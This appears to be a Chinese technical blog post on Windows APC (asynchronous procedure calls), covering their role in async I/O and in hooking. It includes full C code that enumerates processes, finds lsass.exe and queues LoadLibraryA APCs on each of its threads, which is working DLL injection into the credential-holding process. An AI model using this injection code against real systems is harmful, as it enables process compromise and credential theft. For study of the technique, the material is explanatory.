关于APC

APC,异步过程调用。
APC是线程相关的,每个线程都有自己独自的APC链表,因此可以让一段代码在指定的线程上下文中运行。系统中有两种APC,用户层和内核层APC.
 
应用:
APC被知道的最多的应用应该是对一些异步操作的支持,如ReadFile的异步方式等。以ReadFile为例,文件系统发现这是一个异步调用,就会标记为Pending,然后立刻返回。等读取操作完成的时候,在将结果拷贝到用户层的内存空间和调用用户层提供的完成函数时,就用到APC。

另外,挂钩APC相关函数可以达到阻止结束目标进程(ZwTerminateProcess)、阻止创建远程线程(CreateRemoteThread)、阻止对其调用GetContext SetContext等。(但直接读写进程空间或者Attach操作是阻止不了的)。

总结:
如果说其它进程或者线程间通信的方式(比如共享一个对象、一块映射内存、甚至套接字等等)是两个国家间的以合作的方式交流:我需要你的什么信息或者要送给你什么,要得到你的同意才行,那么APC就像是间谍:我安插在你选干部的队伍里(插入APC),等你请我去当你的干部。哪一天我当上了(交付),我就可以做我自己想做的事了,我同国外的沟通不用得到同意(目标进程里的代码可能完全不知道我的存在)。
 
下面的是在用户层插入APC的代码
DWORD GetNtDllString(HANDLE dllbase)
{
        char* lpbuf = (char*)dllbase;
        while(stricmp(++lpbuf, ".dll") && lpbuf - (char*)dllbase < 65535);

        printf("%s", lpbuf - 5);

        return lpbuf - (char*)dllbase;
}


int main(int argc, char* argv[])
{
        HINSTANCE ntdll_dll = GetModuleHandle("ntdll.dll");
        NTQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
        PSYSTEM_PROCESSES pSp=NULL;
        ULONG retureSize = 0;
        DWORD status;
        unsigned char *buf;
        char * dll_name = (char*)ntdll_dll + GetNtDllString(ntdll_dll) - 3;

        printf("CurrentThreadId %d\ninject dll name:%s\n", 
                GetCurrentThreadId(), dll_name);

        ZwQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(ntdll_dll, "ZwQuerySystemInformation");
        status = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, NULL, 0, &retureSize);
        if (status != STATUS_INFO_LENGTH_MISMATCH)
                return -1;
        
        buf = malloc(retureSize);
        if (buf ==NULL)
                return -1; 
        
        status = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, (PVOID)buf, retureSize, NULL);
        if (status != STATUS_SUCCESS) 
                return -1;

        pSp = (PSYSTEM_PROCESSES)buf;
        
        do {
                pSp = (PSYSTEM_PROCESSES)( (unsigned long)pSp + pSp->NextEntryDelta );
                
                if (pSp->ProcessName.Buffer
                        && _wcsicmp(pSp->ProcessName.Buffer, L"lsass.exe") == 0){
                        ULONG i;
                        
                        for (i =0; i<pSp->ThreadCount; i++) {
                                HANDLE pthread;
                                pthread = OpenThread(THREAD_SET_CONTEXT, FALSE, (DWORD)pSp->Threads[i].ClientId.UniqueThread);
                                printf("进程 %d 线程:%d\r\n", 
                                        pSp->Threads[i].ClientId.UniqueProcess,
                                        pSp->Threads[i].ClientId.UniqueThread);
                                
                                if (!QueueUserAPC((PAPCFUNC)LoadLibraryA, pthread, (ULONG_PTR)dll_name))
                                        printf("QueueUserAPC error\n");

                                CloseHandle(pthread);
                        }
                        break;
                }
        } while ( pSp->NextEntryDelta != 0 );
        
        free(buf);

        while (!kbhit())
                SleepEx(100, TRUE);

        return 0;
}


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值